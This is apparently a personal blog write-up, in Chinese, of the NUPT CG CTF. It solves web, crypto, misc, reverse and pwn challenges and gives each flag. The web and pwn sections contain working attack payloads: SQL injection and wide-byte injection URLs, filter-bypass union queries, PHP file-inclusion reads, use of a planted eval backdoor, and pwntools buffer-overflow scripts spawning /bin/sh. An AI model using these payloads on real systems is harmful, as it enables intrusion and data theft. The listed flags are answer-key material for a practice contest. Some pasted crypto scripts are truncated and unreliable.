CG CTF witeup

原创

a370793934 于 2019-11-26 17:54:51 发布 1334 收藏 1
分类专栏： WriteUp 文章标签： CG writeup ctf

本文链接：https://blog.csdn.net/a370793934/article/details/103261550

CG(南邮)CTF：https://cgctf.nuptsast.com/login

web

签到题

查看源码

nctf{flag_admiaanaaaaaaaaaaa}

md5 collision

php弱类型

http://chinalover.sinaapp.com/web19/?a=aabg7XSs

nctf{md5_collision_is_easy}

签到**2**

审查元素修改

nctf{follow_me_to_exploit}

这题不是**WEB**

下载图片用记事本打开最后有flag

nctf{photo_can_also_hid3_msg}

层层递进

查看源码，点击src="SO.html"继续点击src="S0.html" 继续点击src="SO.htm、"src="S0.htm"、rc="404.html"看注释中间有flag

nctf{this_is_a_fl4g}

AAencode

用浏览器更改unicode编码查看，输入控制台

nctf{javascript_aaencode}

单身二十年

查看源代码页面点击

a href="./search_key.php"

nctf{yougotit_script_now}

php decode

源代码eval改为printf直接打印结果

或者python写脚本：

```
import base64
import zlib

a = "+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUlmGNQBAA=="
def gzinflate(self):
    compressed_data = base64.b64decode(self)
    return zlib.decompress(compressed_data, -15)
a = gzinflate(a)
print a
b = ""
for i in range(len(a)):
b += chr(ord(a[i:i+1])-1)
print b
```

nctf{gzip_base64_hhhhhh}

文件包含

用php伪协议读index.php

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

再base64解码得到

flag:nctf{edulcni_elif_lacol_si_siht}

单身一百年也没用

点链接bs抓包，看返回包头部

nctf{this_is_302_redirect}

Download~!

访问http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw下载download.php

打开发现hereiskey.php同理下载hereiskey.php

nctf{download_any_file_666}

COOKIE

bs抓包cookie改为1

flag:nctf{cookie_is_different_from_session}

MYSQL

既然限制了直接输入1024,说明要查的id很有可能就是1024.intval()将变量转成整数类型,默认是转为10进制.那么我们输入1024.1就行了.intval()会把1024.1变为1024,这样查的时候id=1024,而if ($_GET[id]==1024)的时候1024.1!=1024

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

nctf{query_in_mysql}

GBK Injection

宽字节注入

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' order by 2--+

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df' union select 1,(SELECT+GROUP_CONCAT(flag+SEPARATOR+0x3c62723e)+FROM+gbksqli)--+

nctf{gbk_3sqli}

ctf4表里是flag{this_is_sqli_flag}

/x00

代码审计

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu3

或者

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=

Flag: flag:nctf{use_00_to_jieduan}

bypass again

php弱类型

http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

Flag: nctf{php_is_so_cool}

变量覆盖

http://chinalover.sinaapp.com/web18/

POST数据：pass=1&thepassword_123=1

nctf{bian_liang_fu_gai!}

PHP是世界上最好的语言

url二次编码

id=%25%36%38%25%36%31%25%36%33%25%36%62%25%34%34%25%34%61

nctf{php_is_best_language}

伪装者

bs抓包头部加X-Forwarded-For:127.0.0.1但不行

需要加client-ip:127.0.0.1

nctf{happy_http_headers}

Header

bs抓包看返回头部

nctf{tips_often_hide_here}

上传绕过

bs抓包改

/uploads/a.php%00（%00url解码）

flag:nctf{welcome_to_hacks_world}

SQL注入1

代码审计，补全

admin')#

flag:nctf{ni_ye_hui_sql?}

pass check

http://chinalover.sinaapp.com/web21/

POST内容：pass[]=

flag:nctf{strcmp_is_n0t_3afe}

起名字真难

十六进制和十进制转换比较

http://chinalover.sinaapp.com/web12/index.php?key=0xCCCCCCCCC

The flag is:nctf{follow_your_dream}

密码重置

bs抓包头部user1参数改为admin的编码YWRtaW4=

POST /web13/index.php?user1=YWRtaW4= HTTP/1.1

POST内容：

user=admin&newpass=123456&vcode=1234

flag is:nctf{reset_password_often_have_vuln}

php 反序列化**(**暂时无法做**)**

http://4.chinalover.sinaapp.com/web25/index.php?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

Congratulation! Here is my secret: thisisnctfsecret

SQL Injection

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password=or 1 %23

flag:nctf{sql_injection_is_interesting}

综合题

御剑扫描到.bash_history打开提示zip -r flagbak.zip ./*

下载flagbak.zip打开

flag is:nctf{bash_history_means_what}

system（暂时无法做）

SQL注入2

bs抓包改user=' union select md5(1)#&pass=1

Logged in! Key: ntcf{union_select_is_wtf}

综合题**2**

点本CMS说明发现地址疑似文件包含

http://cms.nuptzj.cn/about.php?file=index.php果然显示源码

依次将about.php，config.php,index.php,passencode.php,say.php,so.php文件下载下来

查看about.php由此文件可以猜到后台入口为/loginxlcteam，但没有密码

查看so.php源码，这个就是当时搜索的php

惊奇的发现里面包含了antiinject.php这个应该就是防止SQL注入的文件了，下载下来

文件过滤了敏感的单词，但是双重绕过就好了，过滤了空格，可以用/**/来绕过

先看一下搜索的源码

$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");

这里的$id没有用"包裹，所以直接注入就好

bs抓包，根据so.php改头部User-Agent: Xlcteam Browser，发送post数据先看一下回显

soid=0/**/UNunionION/**/SELselectECT/**/1,2,3,4

发现共四个参数，显示的是2，3

因为之前已经了解到了表的结构，所以直接注入

soid=0/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n

得到admin的password

102 117 99 107 114 117 110 116 117

参照加密函数passencode.php，可以还原出密码。password是ASCII码存储的，所以解码得到admin的密码

fuckruntu

登录/loginxlcteam后台提示xlcteam.php有一句话木马，我们先把源码下载下来

<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>

三个参数的数组回调后门

后门的使用

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace

POST数据：wtf=print_r(scandir("."));

显示

Array ([0] => . [1] => .. [2] => about.php [3] => antiinject.php [4] => antixss.php [5] => config.php [6] => index.php [7] => list.php [8] => loginxlcteam [9] => passencode.php [10] => preview.php [11] => say.php [12] => sm.txt [13] => so.php [14] => xlcteam.php [15] => 鎮□态浣犻幏寰椼lag2.txt)

最后一个乱码，更改网页编码为unicode,显示为 恭喜你获得flag2.txt

构造http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt

flag:nctf{you_are_s0_g00d_hacker}

密码重置2

提示有vi编辑器异常退出的备份文件

http://nctf.nuptzj.cn/web14/.submit.php.swp

代码审计令token为0000000000就行了

bs抓包改GET /web14/submit.php?emailAddress=admin%40nuptzj.cn&token=0000000000 HTTP/1.1

flag:nctf{thanks_to_cumt_bxs}

file_get_contents

查看源码代码审计file_get_contents函数将整个文件读入一个字符串

直接用php伪协议上传file就行了

http://chinalover.sinaapp.com/web23/?file=php://input

POST数据：meizijiu

变量覆盖

这道题还涉及了$$变量覆盖。$$这种写法称为可变变量，一个可变变量获取了一个普通变量的值,作为这个可变变量的变量名。我们传入变量?name=meizijiu233,通过foreach()函数，进行变量赋值$key=name,$value=meizijiu233,然后语句$$key=$value,即$$key=$name=meizijiu233

http://chinalover.sinaapp.com/web24/?name=meizijiu233

nctf{AD3FBD8D5928693CA499347C91570AE6}

注意！！

flag{zhaowomen}

HateIT

Anonymous

Crypto

easy!

base64解码

nctf{this_is_base64_encode}

Keyboard

看键盘按字符写出字母

nctf{areuhack}

异性相吸

python2脚本

```
#coding=utf-8
encrypted=[]
with open("./密文.txt".decode('utf-8')) as f:
```

```
  while True:
    c = f.read(1)
    if not c:
      break
    encrypted.append(c)

plain=[]
with open("./明文.txt".decode('utf-8')) as f:
  while True:
    c = f.read(1)
    if not c:
      break
    plain.append(c)

flag=""
for i in range(len(encrypted)):
  flag+=chr(ord(encrypted[i])^ord(plain[i]))
print(flag)
```

nctf{xor_xor_xor_biubiubiu}

Wiener Wiener Chicken Dinner

RSA wiener attack

用网上的python脚本解密

```
import math
def continued_fractions_expansion(numerator,denominator):#(e,N)
result=[]

divident=numerator%denominator
quotient=numerator/denominator
result.append(quotient)
```

```
while divident!=0:
numerator=numerator-quotient*denominator

tmp=denominator
denominator=numerator
numerator=tmp

divident=numerator%denominator
quotient=numerator/denominator
result.append(quotient)

return result

def convergents(expansion):
convergents=[(expansion[0],1)]
for i in range(1,len(expansion)):
numerator=1
denominator=expansion[i]
for j in range(i-1,-1,-1):
numerator+=expansion[j]*denominator
if j==0:
break
tmp=denominator
denominator=numerator
numerator=tmp
convergents.append((numerator,denominator))#(k,d)
return convergents

def newtonSqrt(n):
approx = n/2
```

```
better = (approx + n/approx)/2
while better != approx:
    approx = better
    better = (approx + n/approx)/2
return approx


def wiener_attack(cons,e,N):
for cs in cons:
k,d=cs
if k==0:
continue
phi_N=(e*d-1)/k
#x**2-((N-phi_N)+1)*x+N=0
a=1
b=-((N-phi_N)+1)
c=N
delta = b*b - 4*a*c
if delta<=0:
continue
x1= (newtonSqrt(delta)-b)/(2*a)
x2=-(newtonSqrt(delta)+b)/(2*a)
if x1*x2==N:
return [x1,x2,k,d]



N=106304532128384446834453116899277852065119216210094853399153909744703144009006819183581

e=837165022918376318972691589160491375229372195625940137121740685432530132860541010174721



expansion=continued_fractions_expansion(e,N)
```

```
cons=convergents(expansion)


p,q,k,d=wiener_attack(cons,e,N)

print p

print q

print k

print d
```

解出d：

```
57899763801722261062891290503559835904571946557258761154422546104824094670843
```

带入原脚本

```
#coding:utf-8

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5

import base64

from Crypto import Random

random_generator=Random.new().read


# flag=raw_input('flag:')

key=RSA.construct((106304532128384446834453116899277852065119216210094853399153909744703144
837165022918376318972691589160491375229372195625940137121740685432530132860541010174727 6
```

```
cipher = Cipher_pkcs1_v1_5.new(key)

# cipher_text = base64.b64encode(cipher.encrypt(flag))

# print cipher_text

# cipher_text =
'AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HwPTvT+T5L
```

```
cipher_text =
'AGgt1h6dudnkeoCr7SFclkYYsYa65KZ8V29bbgbf+BDyjnyx5stCYjcyktat73aHs2EOaMgwGUwj3HwPTvT+T5L
```

```
text = cipher.decrypt(base64.b64decode(cipher_text), random_generator)

print text
```

运行得到flag：

flag{nell_anima_ritrovo_la_speranza_che_nel_corpo_stanco_ormai}

Baby RSA

msieve分解：

msieve153.exe 0x291733BAB061EF9C599139CB3E40A5C762B6F448FFFFFFFFFFFFFF -v

获得

p1=157817387176484486971605217 1

p2=107109275471951139731750470662151462 69

已知p1,p2,n,e,求d，并且解密获得flag：

python脚本：

```
import gmpy2

p1=157817387176484486971605217 1
p2=107109275471951139731750470662151462 69
n=0x291733BAB061EF9C599139CB3E40A5C762B6F448FFFFFFFFFFFFFF
e=0x10001
phi_n=(p1-1)*(p2-1)
d=gmpy2.invert(e,phi_n)

print hex(d)

c=0x237200C0F72B97DB55BA37C7AACBB61A26A0CB47D294726259C4DF
m=pow(c,d,n)
m_hex=hex(m)[2:]
m_str = str(bytearray.fromhex(m_hex))

print m_str
```

简单的方法：

rsa-tool 2 by te! 写入数据直接获得答案

得出flag{Acdxvf5vD_15_W7f}

Classical

密文

nk gqsanez h yhxe ulj dklapdn e xhoaeu loylpneawyiyw

题目告诉是古典密码

```
#!/usr/bin/python
# -*- coding: UTF-8 -*-
a='nk gqsanez h yhxe ulj dklapdn e xhoaeu loylpneawyiyw'
import string

lowercase = string.ascii_lowercase

def substitution(text, key_table):
    text = text.lower()
    result = ''
    for l in text:
        i = lowercase.find(l)
        if i < 0:
            result += l
        else:
            result += key_table[i]
    return result

def caesar_cypher_encrypt(text, shift):
    key_table = lowercase[shift:] + lowercase[:shift]
    return substitution(text, key_table)
```

```
def caesar_cypher_decrypt(text, shift):
    return caesar_cypher_encrypt(text, -shift)

for i in range(0,25):
print caesar_cypher_decrypt(a,i)
```

RSA EASY

Misc

丘比龙**De**女神

将后缀改为zip，无法打开

先尝试简单的 binwalk，有个不完整的zip，拖进010editor查看，找到nvshen .jpg,上面有个love，做到这卡住了，搜题解，将love改为PK，即504B0304，为zip的文件头，504B0506为zip的文件尾，单独把zip保存，得到压缩包，love为密码。

zip文件头504B0304，文件尾504B0506。

md5校验文件得到flag

flag{a6caad3aaafa11b6d5ed583bef4d8a54}

Reverse

Hello,RE!

ida打开按a转换

如果从左到右那么连起来就是galfleW{emoc_oT_W_ERdlro}!

我们基本看不出什么

不过如果我们反着看的话

就得到了flag

python脚本：

v5 = 'galf';

v6 = 'leW{';

v7 = 'emoc';

v8 = '_oT_';

v9 = 'W_ER';

v10 = 'dlro';

v11 = '}!';

print v5[::-1]+v6[::-1]+v7[::-1]+v8[::-1]+v9[::-1]+v10[::-1]+v11[::-1]

flag{Welcome_To_RE_World!}

ReadAsm2

下载分析源码：

00000000004004e6<func>:;4004e6一列表示该指令对应的虚拟内存地址 55一列为该指令对应的计算机指令

4004e6:55push rbp ;入栈，将寄存器的值压入调用 bp栈中

4004e7:4889 e5 mov rbp,rsp;建立新栈帧，别掉函数栈帧栈底地址放入寄存器

4004ea:48897d e8 movQWORDPTR[rbp-0x18],rdi;对应main中input[]这时i=0 //[rbp-0x18] = input[0]

4004ee:8975 e4 movDWORDPTR[rbp-0x1c],esi;放入28 //[rbp-0x1c] = 28

4004f1: c745 fc 01000000movDWORDPTR[rbp-0x4],0x1;首先将0x1赋值给[rbp-0x4] //i = 1

4004f8: eb28jmp400522<func+0x3c>;接着跳转到400522的位置 //for(i=1;i<=28;i++) 下面以第一次过程为例

4004fa:8b45 fc moveax,DWORDPTR[rbp-0x4];将[rbp-0x4]的值赋给eax寄存器 //即令eax=i =1

4004fd:4863 d0 movsxd rdx,eax;将eax的值带符号扩展，并传送至rdx中 //即令rdx=eax =i =1

400500:488b45 e8 mov rax,QWORDPTR[rbp-0x18];将rax的值给input[0] //即令rax = input[0] =[rbp-0x18]

400504:4801 d0 add rax,rdx;将rdx的值加上rax再赋值给rax //即 rax=input[1] =i+input[0] =rdx+rax

400507:8b55 fc movedx,DWORDPTR[rbp-0x4];将[rbp-0x4]的值给edx //即令edx=i =1

40050a:4863 ca movsxd rcx,edx;将edx的值带符号扩展，并传送至rcx中 //即令rcx=i =1

40050d:488b55 e8 mov rdx,QWORDPTR[rbp-0x18];将[rbp-0x18]的值给rdx //即令rdx=[rbp-0x18] =input[0]

400511:4801 ca add rdx,rcx;将rcx的值加上rdx再赋值给rdx //即i++ rdx=input[1]

400514:0f b6 0amovzxecx,BYTEPTR[rdx];将rdx无符号扩展，并传送至ecx //即ecx=chr(rdx) =chr(input[0])

400517:8b55 fc movedx,DWORDPTR[rbp-0x4];edx = [rbp-0x4] //即edx=i =1

40051a:31 ca xoredx,ecx;将edx与ecx异或 //i^input[0]

40051c:8810movBYTEPTR[rax],dl;rax = dl

40051e:8345 fc 01addDWORDPTR[rbp-0x4],0x1;[rbp-0x4]++ //i++

400522:8b45 fc moveax,DWORDPTR[rbp-0x4];将[rbp-0x4]的值赋给eax寄存器 //eax = i

400525:3b45 e4 cmpeax,DWORDPTR[rbp-0x1c];将[rbp-0x1c]中的值与eax值比较第一次就是28

400528:7e d0 jle4004fa<func+0x14>;如果<=那么就跳到4004fa //if eax即i <=28跳到4004fa继续循环

40052a:90nop;空指令

40052b:5dpop rbp ;出栈

40052c: c3ret;ret相当于return

写python脚本解：

```
input = [0x67,0x6e,0x62,0x63,0x7e,0x74, 0x62, 0x69, 0x6d, 0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b,0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c]

flag = ""

for i in range(1,28):

    flag = flag + chr(input[i-1]^ i)

print flag
```

得到flag

flag{read_asm_is_the_basic}

Pwn

When did you born?

```
# -*- coding:utf-8 -*-

from pwn import *


p = remote("ctf.acdxvfsvd.net",1926)


payload = "a"*8+p64(1926)

p.recvuntil("What's Your Birth?")

p.sendline("1927")

p.recvuntil("What's Your Name?")

p.sendline(payload)

p.interactive()
```

flag{gets_is_dangerous_+1s}

Stack Overflow

```
# -*- coding:utf-8 -*-
from pwn import *

p=remote('182.254.217.142',10001)
#create '/bin/sh' in bss
p.recvuntil('your choice:\n')
p.sendline('1')

payload1='A'*40+p32(0x80)+'/bin/sh'     #exploit the bss
p.recvuntil('you can leave some message here:\n')
p.sendline(payload1)

elf=ELF('./cgpwna')
sysadr=elf.symbols['system']            #find the adr of system

payload2='A'*(0x30+0x4)+p32(sysadr)+p32(0xDEADBEEF)+p32(0x0804A0AD)
#use system('/bin/sh') and rand return address
p.recvuntil('your name please:\n')
p.sendline(payload2)

p.interactive()
```

flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}